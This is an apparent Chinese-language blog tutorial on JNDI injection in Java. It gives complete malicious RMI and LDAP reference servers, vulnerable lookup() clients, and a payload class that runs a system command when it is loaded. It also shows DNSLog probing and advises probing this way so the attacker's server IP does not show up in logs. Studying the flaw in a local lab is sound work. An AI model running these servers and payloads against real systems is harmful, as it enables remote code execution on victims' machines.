# JNDI 注入原理及利用探究

# JNDI 是什么:

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,一种标准的 java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDIAPI 映射为特定的命名服务和目录系统,是的 java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗的来说就是若程序定义了 JNDI 的接口,就可以通过该接口 API 访问系统的命令服务和目录服务,如下图

image-20250724194534195

这里主要探究的时 LADP,RMI,DNS 协议

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

# JNDI 注入

# JNDI+RMI

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup()方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意在和,造成注入攻击。

服务端代码:

package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIService{
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

客户端代码:

package RMI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

恶意 payload:

//package RMI;
public class Calculator{
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

项目结构:

image-20250724202239081

先编译恶意载荷

image-20250724202320325

端口跟服务端的

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

一样就行了

这里有个坑就是 package 后获取了这个 payload 之后会在进一步 RMi 里面找这个 payload,没有就报错,所以需要注释这个 package 才行

image-20250724202601766

# JNDI+LDAP

# 环境搭建

手动防止依赖:

img

坑就是不要把那个 jar 文件放到有空格和中文的目录下

image-20250724204806447

先是服务端:

package LDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

再是客户端:

package LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

再是 payload 一样的操作内容

# DNS 协议:

通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 ip。在没有确定存在漏洞钱,直接在服务器上使用 RMI 或者 LDAP 去执行敏玲,通过日志可分析得到攻击者的服务器 IP,这样在没有获得成果的前提下还暴露了自己的服务器 IP,得不偿失。我们可以使用 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSlog 平台去探测。

代码验证:

package DNS;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "dns://l6mo96xa.eyes.sh";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

若是发现有回应,就是有这个漏洞

image-20250724205803043

image-20250724205724956

# 类的分析

# InitialContext 类

JNDI+RMI 漏洞代码进行分析

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息

InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
lookup(String name)` 获取 name 的数据,这里的 uri 被定义为 `rmi://127.0.0.1:7778/RCE` 所以会通过 `rmi` 协议访问 `127.0.0.1:7778/RCE
String uri = "rmi://127.0.0.1:7778/RCE";
initialContext.lookup(uri); //利用lookup() 函数获取指定的远程对象

由于 lookup() 参数可控,导致漏洞的出现,跟进代码如下
img

# Reference 类

Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
JNDI+RMI 服务端攻击代码

package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/` 服务端上,等待客户端的调用并实例化执行。

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

img

# 总结:

经过之前的讲述,产生的主要原因是由于 lookup 里面的参数可控,我可以通过访问 LDAP 和 RMI 来加载 class 对象来实例化对象时进行初始化是使用恶意代码获取数据。

参考链接:JNDI 注入原理及利用考究 - 先知社区